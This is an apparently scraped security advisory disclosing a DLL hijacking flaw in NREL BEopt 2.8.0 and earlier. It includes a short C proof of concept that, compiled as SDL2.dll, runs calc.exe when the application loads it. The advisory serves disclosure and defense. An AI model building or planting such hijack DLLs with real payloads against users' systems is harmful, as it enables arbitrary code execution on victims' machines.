

NREL BEopt 2.8.0 Insecure Library Loading Arbitrary Code Execution

2019.03.13

Credit: [LiquidWorm \(https://cxsecurity.com/author/LiquidWorm/1/\)](https://cxsecurity.com/author/LiquidWorm/1/)

Risk: High

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

/*

NREL BEopt 2.8.0 Insecure Library Loading Arbitrary Code Execution

Vendor: NREL

Product web page: <https://beopt.nrel.gov>

Affected version: 2.8.0.0, 2.7.0.0 and 2.6.0.1

Summary: The BEoptaC/ (Building Energy Optimization Tool) software provides capabilities to evaluate residential building designs and identify cost-optimal efficiency packages at various levels of whole-house energy savings along the path to zero net energy.

Desc: BEopt suffers from a DLL Hijacking issue. The vulnerability is caused due to the application loading libraries (sdl2.dll and libegl.dll) in an insecure manner. This can be exploited to load arbitrary libraries by tricking a user into opening a related application file .BEopt located on a remote WebD

AV or SMB share.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2019-5513

Advisory URL: <https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5513.php>

06.02.2019

```
*/
```

```
// gcc -shared -o SDL2.dll exploit.c
```

```
#include <windows.h>
```

```
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpv  
Reserved)
```



```
{  
    exec();  
    return 0;  
}
```

```
int exec()  
{  
    WinExec("calc.exe" , SW_NORMAL);  
    return 0;  
}
```

See this note in RAW Version (<https://cxsecurity.com/ascii/WLB-2019030108>).

Post

Vote for this issue:

 0	 0
50%	50%

Comment it here.

Nick (*)

Email (*)

Video

Text (*)